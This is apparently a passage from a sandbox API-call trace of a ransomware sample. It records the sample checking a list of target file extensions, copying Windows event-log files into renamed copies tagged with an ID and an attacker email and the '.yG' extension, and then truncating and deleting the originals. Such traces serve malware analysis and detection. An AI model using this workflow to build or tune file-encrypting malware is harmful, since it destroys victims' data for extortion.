	[0050.367] lstrlenW (lpString=".dbf") returned 4
	[0050.367] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0050.367] lstrlenW (lpString=".1cd") returned 4
	[0050.367] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0050.367] lstrlenW (lpString=".jpg") returned 4
	[0050.367] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0050.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0050.367] lstrlenW (lpString=".doc") returned 4
	[0050.367] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.367] lstrlenW (lpString=".docx") returned 5
	[0050.367] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.367] lstrlenW (lpString=".pdf") returned 4
	[0050.367] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.367] lstrlenW (lpString=".xls") returned 4
	[0050.367] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.367] lstrlenW (lpString=".xlsx") returned 5
	[0050.367] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.367] lstrlenW (lpString=".ppt") returned 4
	[0050.368] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.368] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0050.368] lstrlenW (lpString=".zip") returned 4
	[0050.368] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.368] lstrlenW (lpString=".rar") returned 4
	[0050.368] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.368] lstrlenW (lpString=".bz2") returned 4
	[0050.368] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.368] lstrlenW (lpString=".7z") returned 3
	[0050.368] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.368] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0050.368] lstrlenW (lpString=".dbf") returned 4
	[0050.368] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.368] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0050.368] lstrlenW (lpString=".1cd") returned 4
	[0050.368] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.368] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0050.368] lstrlenW (lpString=".jpg") returned 4
	[0050.368] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.368] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.368] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42
	[0050.368] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.369] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0050.369] CloseHandle (hObject=0x2ec) returned 1
	[0050.369] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20
	[0050.369] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.369] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.369] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.369] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.369] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0050.369] GetLastError () returned 0x0
	[0050.369] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.431] WriteFile (in: hFile=0x34c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.432] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.432] WriteFile (in: hFile=0x34c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x128, lpOverlapped=0x0) returned 1
	[0050.432] SetEndOfFile (hFile=0x34c) returned 1
	[0050.432] CloseHandle (hObject=0x34c) returned 1
	[0050.434] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.434] SetEndOfFile (hFile=0x2ec) returned 1
	[0050.435] CloseHandle (hObject=0x2ec) returned 1
	[0050.435] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.435] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1
	[0050.436] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0050.436] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0050.436] lstrlenW (lpString=".doc") returned 4
	[0050.436] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.436] lstrlenW (lpString=".docx") returned 5
	[0050.436] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.436] lstrlenW (lpString=".pdf") returned 4
	[0050.436] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.436] lstrlenW (lpString=".xls") returned 4
	[0050.436] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.436] lstrlenW (lpString=".xlsx") returned 5
	[0050.436] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.436] lstrlenW (lpString=".ppt") returned 4
	[0050.436] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.436] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0050.436] lstrlenW (lpString=".zip") returned 4
	[0050.436] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.436] lstrlenW (lpString=".rar") returned 4
	[0050.436] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.436] lstrlenW (lpString=".bz2") returned 4
	[0050.436] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.436] lstrlenW (lpString=".7z") returned 3
	[0050.436] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.436] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0050.436] lstrlenW (lpString=".dbf") returned 4
	[0050.436] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.436] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0050.436] lstrlenW (lpString=".1cd") returned 4
	[0050.436] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0050.437] lstrlenW (lpString=".jpg") returned 4
	[0050.437] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0050.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0050.437] lstrlenW (lpString=".doc") returned 4
	[0050.437] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.437] lstrlenW (lpString=".docx") returned 5
	[0050.437] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.437] lstrlenW (lpString=".pdf") returned 4
	[0050.437] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.437] lstrlenW (lpString=".xls") returned 4
	[0050.437] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.437] lstrlenW (lpString=".xlsx") returned 5
	[0050.437] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.437] lstrlenW (lpString=".ppt") returned 4
	[0050.437] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0050.437] lstrlenW (lpString=".zip") returned 4
	[0050.437] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.437] lstrlenW (lpString=".rar") returned 4
	[0050.437] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.437] lstrlenW (lpString=".bz2") returned 4
	[0050.437] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.437] lstrlenW (lpString=".7z") returned 3
	[0050.437] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0050.437] lstrlenW (lpString=".dbf") returned 4
	[0050.437] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0050.437] lstrlenW (lpString=".1cd") returned 4
	[0050.437] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0050.438] lstrlenW (lpString=".jpg") returned 4
	[0050.438] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.438] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.438] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33
	[0050.438] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.438] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0050.438] CloseHandle (hObject=0x2ec) returned 1
	[0050.438] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20
	[0050.438] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.438] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.438] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.438] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.439] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0050.439] GetLastError () returned 0x0
	[0050.439] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.748] WriteFile (in: hFile=0x34c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.750] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.750] WriteFile (in: hFile=0x34c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x116, lpOverlapped=0x0) returned 1
	[0050.750] SetEndOfFile (hFile=0x34c) returned 1
	[0050.750] CloseHandle (hObject=0x34c) returned 1
	[0050.751] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.751] SetEndOfFile (hFile=0x2ec) returned 1
	[0050.756] CloseHandle (hObject=0x2ec) returned 1
	[0050.762] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.764] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1
	[0050.764] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0050.764] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0050.764] lstrlenW (lpString=".doc") returned 4
	[0050.764] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.764] lstrlenW (lpString=".docx") returned 5
	[0050.764] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.764] lstrlenW (lpString=".pdf") returned 4
	[0050.764] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.764] lstrlenW (lpString=".xls") returned 4
	[0050.764] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.764] lstrlenW (lpString=".xlsx") returned 5
	[0050.764] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.764] lstrlenW (lpString=".ppt") returned 4
	[0050.764] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.764] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0050.764] lstrlenW (lpString=".zip") returned 4
	[0050.764] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.764] lstrlenW (lpString=".rar") returned 4
	[0050.764] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.764] lstrlenW (lpString=".bz2") returned 4
	[0050.764] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.764] lstrlenW (lpString=".7z") returned 3
	[0050.764] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0050.765] lstrlenW (lpString=".dbf") returned 4
	[0050.765] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0050.765] lstrlenW (lpString=".1cd") returned 4
	[0050.765] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0050.765] lstrlenW (lpString=".jpg") returned 4
	[0050.765] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0050.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0050.765] lstrlenW (lpString=".doc") returned 4
	[0050.765] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.765] lstrlenW (lpString=".docx") returned 5
	[0050.765] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.765] lstrlenW (lpString=".pdf") returned 4
	[0050.765] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.765] lstrlenW (lpString=".xls") returned 4
	[0050.765] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.765] lstrlenW (lpString=".xlsx") returned 5
	[0050.765] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.765] lstrlenW (lpString=".ppt") returned 4
	[0050.765] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0050.765] lstrlenW (lpString=".zip") returned 4
	[0050.765] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.765] lstrlenW (lpString=".rar") returned 4
	[0050.765] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.765] lstrlenW (lpString=".bz2") returned 4
	[0050.765] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.765] lstrlenW (lpString=".7z") returned 3
	[0050.765] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0050.765] lstrlenW (lpString=".dbf") returned 4
	[0050.765] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0050.765] lstrlenW (lpString=".1cd") returned 4
	[0050.766] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0050.766] lstrlenW (lpString=".jpg") returned 4
	[0050.766] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.766] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.766] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50
	[0050.766] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.766] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0050.766] CloseHandle (hObject=0x2ec) returned 1
	[0050.766] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20
	[0050.766] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.766] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.766] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.766] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.766] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0050.767] GetLastError () returned 0x0
	[0050.767] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.825] WriteFile (in: hFile=0x34c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.827] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.827] WriteFile (in: hFile=0x34c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x138, lpOverlapped=0x0) returned 1
	[0050.827] SetEndOfFile (hFile=0x34c) returned 1
	[0050.827] CloseHandle (hObject=0x34c) returned 1
	[0050.829] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.829] SetEndOfFile (hFile=0x2ec) returned 1
	[0050.830] CloseHandle (hObject=0x2ec) returned 1
	[0050.830] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.830] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1
	[0050.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0050.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0050.831] lstrlenW (lpString=".doc") returned 4
	[0050.831] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.831] lstrlenW (lpString=".docx") returned 5
	[0050.831] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.831] lstrlenW (lpString=".pdf") returned 4
	[0050.831] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.832] lstrlenW (lpString=".xls") returned 4
	[0050.832] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.832] lstrlenW (lpString=".xlsx") returned 5
	[0050.832] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.832] lstrlenW (lpString=".ppt") returned 4
	[0050.832] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0050.832] lstrlenW (lpString=".zip") returned 4
	[0050.832] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.832] lstrlenW (lpString=".rar") returned 4
	[0050.832] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.832] lstrlenW (lpString=".bz2") returned 4
	[0050.832] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.832] lstrlenW (lpString=".7z") returned 3
	[0050.832] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0050.832] lstrlenW (lpString=".dbf") returned 4
	[0050.832] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0050.832] lstrlenW (lpString=".1cd") returned 4
	[0050.832] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0050.832] lstrlenW (lpString=".jpg") returned 4
	[0050.832] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0050.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0050.833] lstrlenW (lpString=".doc") returned 4
	[0050.833] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.833] lstrlenW (lpString=".docx") returned 5
	[0050.833] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.833] lstrlenW (lpString=".pdf") returned 4
	[0050.833] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.833] lstrlenW (lpString=".xls") returned 4
	[0050.833] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.833] lstrlenW (lpString=".xlsx") returned 5
	[0050.833] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.833] lstrlenW (lpString=".ppt") returned 4
	[0050.833] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0050.833] lstrlenW (lpString=".zip") returned 4
	[0050.833] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.833] lstrlenW (lpString=".rar") returned 4
